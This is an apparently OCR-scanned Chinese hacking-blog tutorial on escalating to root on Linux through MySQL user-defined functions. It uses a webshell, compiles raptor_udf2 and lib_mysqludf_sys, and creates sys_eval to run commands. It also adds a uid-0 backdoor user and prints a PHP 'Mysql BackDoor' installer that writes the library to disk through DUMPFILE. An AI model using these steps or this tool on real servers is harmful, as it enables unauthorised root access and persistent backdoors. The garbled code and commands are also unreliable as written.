探索黑客技术攻防,实战研究与安全创新

导航菜单

看看黑客在linux下是如何进行mysql提权

这次给大家带来的是linux下的mysql提权。相信在windows下的提权大家都了解,当然随着mysql版本的提高,在win下的提权条件也变的越来越苛刻。比如在5.0以上版本,必须放在系统目录,而且在用Create Function sys_exec returns string sonamelib_mysqludf_sys.dll’命令的时候,不能带dll的绝对路径,要直接跟dll文件名,我们可以把dll放在system或者win目录下,直接用dll名字就可以。而到了5.1版本开始必须把udfdll文件放到MySQL安装目录下的lib/plugin文件夹下才能创建自定义函数,并且该目录默认是没有的,需要我们的shell有权限去建立。OK,简单回顾了下wm下的mysql提权,下面进入正题这次说的是linux下的提权,使用的同样是Create Function命令,也是通过上传文件的方法提权,不过linux下的提权和win下略有不同,下面我会慢慢细说。

让我想研究下linux下mysql提权的起因是我在某论坛上看到了一个帖子,写的就是关于mysql提权的,但是楼主只放出了工具,并没有说怎么使用,我在追问楼主后也没得到一个满意的答案,所以我就决定自己动手试试。为了方便,我直接使用的BT5,因为啥都是安装好的,Mysql的版本是MySQL 5.1.41。我们首先打开mysql,如图1,选择mysql start即可,接着是打开apache,直接在终端输入/etc/inid/apache2 restart,显示*Restarting web serverapache2,说明开启成功。默认的web路径:/var/www/,为了方便测试,我直接上传个phpspy来操作,到mysql manager下,输入账号root和密码toor,如图2。好了,准备工作到此结束,我们打开第一个提权工具,其中写道了编译的命令:

1、gcc—g—c raptor_udf2.c

2、gcc—g-shared -Wl,-soname,rptor_uf.so—o raptor_ud.so raptor_udf.o -lc,我们直接把工具放到BT5中,执行上述命令,就会生成文件raptor_udf.so,我们将文件放到“/usr/lib/mysql/plugin/”,即可,下面就是在webshell里面执行了create funtion do_systemreturns integer soname 'raptor_udfso’:结果如图3,返回错误“Error:Can-t find syol'do_system_init- in library”,看来是失败了,通过查看我发现,这个文件有个版本的限制,显示的是Tested on MSQL 4.0.17,然后我就百度了下,查到了如下内容:“Marco Ivaldi几年前曾经发表过一个raptor_udf2.c,演示了如何利用mysql udf入侵系统,但是这个mysql udf也演示了一个调用系统命令的方式。但是这一插件目前应经不能兼容mysql 5.0+,主要是已经不符合新的mysqludf的规范了,并且没有返回结果。”看来的确是版本问题,文章同样给出了一个新的udf包,我们直接下载后,打开,会发现有好几个文件,直接看install. sh,内容为:

图片2.png

我们可以直接通过make命令,这样就直接生成了文件,并且放在了/u sr/lib目录下,然后我们执行命令CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME' lib_mysqludf_sys. so’;依旧显示错误,如图4,根据提示,应该是需要放到“/usr/lib/mysql/plugin”下,我们把文件拷贝过去,再次执行命令,结果为图5。这次就执行成功了,但这个udf不止这么一个函数,我们继续执行:

图片3.png

图片4.png

到此,几个函数都成功建立了,其中我们比较常用的是sys_eval,当然我们可以先查看下函数的建立情况,命令为:

图片5.png

执行结果如图6,可以看到我们建立的函数已经显示在其中了,接下来就是利用了,这里我们使用sys_eval即可,具体的命令是:

图片6.png

显示结果如图7,OK,现在已经是root权限了,我们在执行下添加用户的命令:SELECT sys_eval(‘useradd—u 0  一o  —g root   -G root—d/home/userl userl’)执行结果如图8,这说明已经执行成功了,我们可以使用命令passwd userl给已创建的用户userl设置密码,这时候用户已经被加到了root组。OK,到此基本用法已经介绍完毕了,但是有个缺陷,就是需要我们自己上传文件到指定目录,然后还要执行几个sql命令去执行这样对于以后的使用会带来很多的麻烦。我们是否可以像win下提权工具一样,写出一个自己的工具呢?

这里我以linx写的wm下的mysql提权工具为模板,写了一个自己的工具,下面就贴出代码,并做一个基本的解释:

<?

extract($_POST);

extract($_GET);

$action="mysql";

$mysql_hostname=$mysql_hostname?$mysql_hostname:"127.0.0,1";//检测提交的

$mysql_hostname,如果没设置的话,传入参数127.0.0.1

$mysql_username=$mysql_username?$mysql_username:"root";//同样,  传入参数

root

$post_sql=$post_sql?$post_sql:"SELECT sys_eval('id')";//传入默认参数

$mysql_dbname=$mysql_d bname?$mysql_dbname:"mysql";//数据库名,  默认为

mysql

if($install){//这里主要是把文件导入到指定的目录

$link=mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd)

or die(mysql_error(》;//连接mysql数据库

mysql_select_db($mysql_dbname,$link) or die(mysql_e rror(》;

@mysql_query("DROP TABLE udf_temp", $link);//这里,如果表udf_temp存在的

话,直接删除

//@mysql_query("drop
 function state", $link);

$query="CREATE TABLE udf_temp (udf BLOB);”;//创建表

if(! ($result=mysql_q uery($query,$¨nk)))//如果出现错误,显示错误提示

die(’错误:创建临时表udf_temp出错。’.mysql_error(》;

else

{

$code=get_code();

$query="INSERT into udf_temp(udf) values (CONVERT($code,CHAR》;";//

插入数据

if(! mysql_q uery($query,  $link》

{

//mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error(》;

die(’错误:插入DLL数据出错。’mysql_error(》;

)

else

{

$dllname="lib_mysqludf_sys.so";

if(file_exists("/uSr/lib/"》  $dir="/us r/lib/lib_mysqludf_sys.so";

elseif(file_exists("/usr/lib/"》 $dir="/usr/lib/lib_mysqludf_sys.so";//把文件

导入到指定文件夹

$query="SELECT udf FROM udf_temp INTO DUMPFILE….$dir.…;”;//似

乎必须导入到这个文件夹,但需要有权限

//echo $query;

if(! mysql_query($query, $link》

{

//mysql_query('DROPTABLEudf_temp', $link)ordie(mysql_error(》;

die(”导出DLL文件出错:可能无权限或者$dir已经存在。

”.mysql_error(》;

)

else

{

echo 'DLL已成功的导出到’.$d¨<br>’:

)

)

mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error(》;

$result=mysql_query("DROPFUNCTIONIFEXISTS

lib_mysqludf_sys_info;", $link) or die(mysql_error(》;

$result=mysql_query("DROP FUNCTION IF EXISTS sys_get;", $link) or

die(mysql_error(》;

$result=mysql_query("DROP FUNCTION IF EXISTS sys_set;", $link) or

die(mysql_error(》;

$result=mysql_query("DROP FUNCTION IF EXISTS sys_exec;", $link) or

die(mysql_error(》;

$result=mysql_query("DROP FUNCTION IF EXISTS sys_eval;", $link) or

die(mysql_error(》;

$result=mysql_query("CREATEFUNCTIONlib_mysqludf_sys_info

RETURNS string SONAME 'Iib_mysqludf_sys.so';", $link) or die(mysql_error(》;

$result=mysql_query("CREATE FUNCTION sys_get RETURNS string

SONAME 'lib_mysqludf_sys.so';", $link) or die(mysql_error(》;

$result=mysql_query("CREATE  FUNCTION  sys_set  RETURNS  int

SONAME 'Iib_mysqludf_sys.so';", $link) or die(mysql_error(》;

$result=mysql_query("CREATE  FUNCTION  sys_exec  RETURNS  int

SONAME 'lib_mysqludf_sys.so'$link) or die(mysql_error(》;

$result=mysql_query("CREATE FUNCTION sys_eval RETURNS string

SONAME 'lib_mysqludf_sys.so'$link) or die(mysql_error(》;

//这部分是先删除函数,然后再重新建立函数

if($result){

echo "MysqIDoor安装成功!<br><a href=’?’>返回</a>”;//如果没有错误,

提示安装成功

exit();

)

)

)

?>

<meta http-equiv="content-type" con\="text/html;charset=gb2312">

<title>Linx Mysql Door</title>

<form method="post" action="<?echo $HTTP_SERVER_VARS['php_self];?>?">

Host:  <input  name="mysql_hostname"value="<?echo  $mysql_hostname;?>"

type="text"  class="input" size="15">

User: <input name="mysql_username" value="<?echo $mysql_username;?>"

type="text"  class="input" size="10">

Password:  <input  type="password"name="mysql_passwd"value="<?echo

$mysql_passwd;?>" class="input" size="10">

DB: <input name="mysql_dbname" value="<?echo $mysql_dbname;?>" type="text"

class="input" size="10">

&nbsp;&nbsp;<input name="install" type="subm” value=”自动安装  Mysql

BackDoor">

<br>

<br>

请输入SQL命令:<br>

<textarea name="post_sql" cols="50" rows="8"><?echo stripslashes($post_sql);?>

</textarea>

<br>  <br>

<input name="" type="subm"value=”执行SQL语句”>

</form><br>返回信息:

<?

if ($_POST[post_sql]){

$lik=mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or

die(mysql_error(》;

f($mysql_dbname) mysql_select_db($mysql_dbname,$link) or die(mysql_error(》;

$quey=stripslashes($post_sql);

$reult=mysql_query($query, $link)or die(mysql_error(》;

?>

<br>

<texarea nme=”post_sql”cols=”80”rows=”1 5”>

<?

echo ($result)?”SQL语句成功执行:$result\n\n”:”出错:$result\n\n”.mysql_error();

while (
$row=@mysql_fetch_array
 ($result》{

print_r ($row);

)

//mysql_fee_result($result);

)

?>

</textarea>

<?

function get_code(){

rturn”XXXXXXXXXXXXXXXXXX这里写的so文件的十六进制代码”:

)

?>

<pre>

-EcoEye Mysql BackDoor

-2011.12.25 Happy christmas!

填写Mysql的管理员密码,点击”自动安装MysqIDoor”后,将会在Mysql上增加”ss_eval”函数,同时还会安装别的几个函数,不过最常用的就是这个啦一语句参考:

执行:SEECT ss_eval('id’);

卸载:dop function sys_eval;

安装:CEATE  FUCTION  sys_eval  RETURNS  string  SONAME-lib_mysqludf_sys.so。;

</p re>

大部分的代码都做了备注。其中XXXXX处的十六进制代码形成方法如下:

我使用的是本机搭建mysql,然后将so文件复制到某一目录,然后打开mysql执行如下命令:

selct hex(lad_file(’c:/windows/tep/xxoo.so'》 into outfile 'c:/winws/tep/xxoo.txt’;

这样,xxoo.txt文件就是so文件的十六进制了。然后将这段代码放入上面的指定位置即可。下面我们试一下效果。上传提权木马后,打开界面如图9。

添加密码点击“自动安装”即可,接下来就是执行命令了,下面给出了提示,我们直接执行自带的命令试试,结果如图10。别的命令大家可以自己测试了。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。